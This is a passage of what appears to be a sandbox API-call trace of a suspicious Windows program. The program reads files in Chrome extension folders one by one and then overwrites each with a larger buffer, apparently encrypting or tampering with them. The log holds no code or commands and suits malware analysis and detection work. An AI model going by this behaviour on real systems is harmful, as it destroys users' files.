hTemplateFile=0x0) returned 0x1d4 [0053.813] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.813] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xd7 [0053.813] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.814] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.814] ReleaseMutex (hMutex=0x128) returned 1 [0053.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.814] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c5088, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5088*, lpNumberOfBytesRead=0x2a0f2bc*=0xd7, lpOverlapped=0x0) returned 1 [0053.814] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.815] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65f, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x65f, lpOverlapped=0x0) returned 1 [0053.815] CloseHandle (hObject=0x1d4) returned 1 [0053.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.815] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.815] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xcf [0053.815] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.815] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.815] ReleaseMutex (hMutex=0x128) returned 1 [0053.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.815] ReadFile (in: hFile=0x1d4, lpBuffer=0x1daea48, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daea48*, lpNumberOfBytesRead=0x2a0f2bc*=0xcf, lpOverlapped=0x0) returned 1 [0053.816] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.816] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x657, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x657, lpOverlapped=0x0) returned 1 [0053.816] CloseHandle (hObject=0x1d4) returned 1 [0053.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.817] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.817] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xf8 [0053.817] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.817] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.817] ReleaseMutex (hMutex=0x128) returned 1 [0053.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.817] ReadFile (in: hFile=0x1d4, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x2a0f2bc*=0xf8, lpOverlapped=0x0) returned 1 [0053.818] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.818] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x680, lpOverlapped=0x0) returned 1 [0053.818] CloseHandle (hObject=0x1d4) returned 1 [0053.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.819] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.819] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1a33 [0053.819] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.819] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.819] ReleaseMutex (hMutex=0x128) returned 1 [0053.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="128.png", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="128.png", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="128.png", lpUsedDefaultChar=0x0) returned 7 [0053.819] ReadFile (in: hFile=0x1d4, lpBuffer=0x26146a8, nNumberOfBytesToRead=0x1a33, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesRead=0x2a0f2bc*=0x1a33, lpOverlapped=0x0) returned 1 [0053.821] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.821] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1fbb, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1fbb, lpOverlapped=0x0) returned 1 [0053.821] CloseHandle (hObject=0x1d4) returned 1 [0053.821] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.821] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.822] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xf9 [0053.822] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.822] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.822] ReleaseMutex (hMutex=0x128) returned 1 [0053.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.822] ReadFile (in: hFile=0x1d4, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xf9, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x2a0f2bc*=0xf9, lpOverlapped=0x0) returned 1 [0053.823] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.823] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x681, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x681, lpOverlapped=0x0) returned 1 [0053.823] CloseHandle (hObject=0x1d4) returned 1 [0053.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.824] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.824] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x107 [0053.824] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.824] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.824] ReleaseMutex (hMutex=0x128) returned 1 [0053.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.824] ReadFile (in: hFile=0x1d4, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x107, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x2a0f2bc*=0x107, lpOverlapped=0x0) returned 1 [0053.825] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.825] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68f, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x68f, lpOverlapped=0x0) returned 1 [0053.825] CloseHandle (hObject=0x1d4) returned 1 [0053.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.826] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.826] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xda [0053.826] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.826] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.826] ReleaseMutex (hMutex=0x128) returned 1 [0053.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.826] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c5088, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5088*, lpNumberOfBytesRead=0x2a0f2bc*=0xda, lpOverlapped=0x0) returned 1 [0053.827] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.827] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x662, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x662, lpOverlapped=0x0) returned 1 [0053.827] CloseHandle (hObject=0x1d4) returned 1 [0053.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.827] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.828] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x164 [0053.828] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.828] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.828] ReleaseMutex (hMutex=0x128) returned 1 [0053.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.828] ReadFile (in: hFile=0x1d4, lpBuffer=0x2635928, nNumberOfBytesToRead=0x164, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635928*, lpNumberOfBytesRead=0x2a0f2bc*=0x164, lpOverlapped=0x0) returned 1 [0053.829] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.829] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6ec, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x6ec, lpOverlapped=0x0) returned 1 [0053.829] CloseHandle (hObject=0x1d4) returned 1 [0053.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.829] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.830] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xb3 [0053.830] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.830] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.830] ReleaseMutex (hMutex=0x128) returned 1 [0053.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.830] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e36f48, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36f48*, lpNumberOfBytesRead=0x2a0f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0053.831] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.831] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0053.831] CloseHandle (hObject=0x1d4) returned 1 [0053.831] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.831] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.831] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xb3 [0053.831] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.832] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.832] ReleaseMutex (hMutex=0x128) returned 1 [0053.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.832] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e36f48, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36f48*, lpNumberOfBytesRead=0x2a0f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0053.832] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.832] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0053.833] CloseHandle (hObject=0x1d4) returned 1 [0053.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 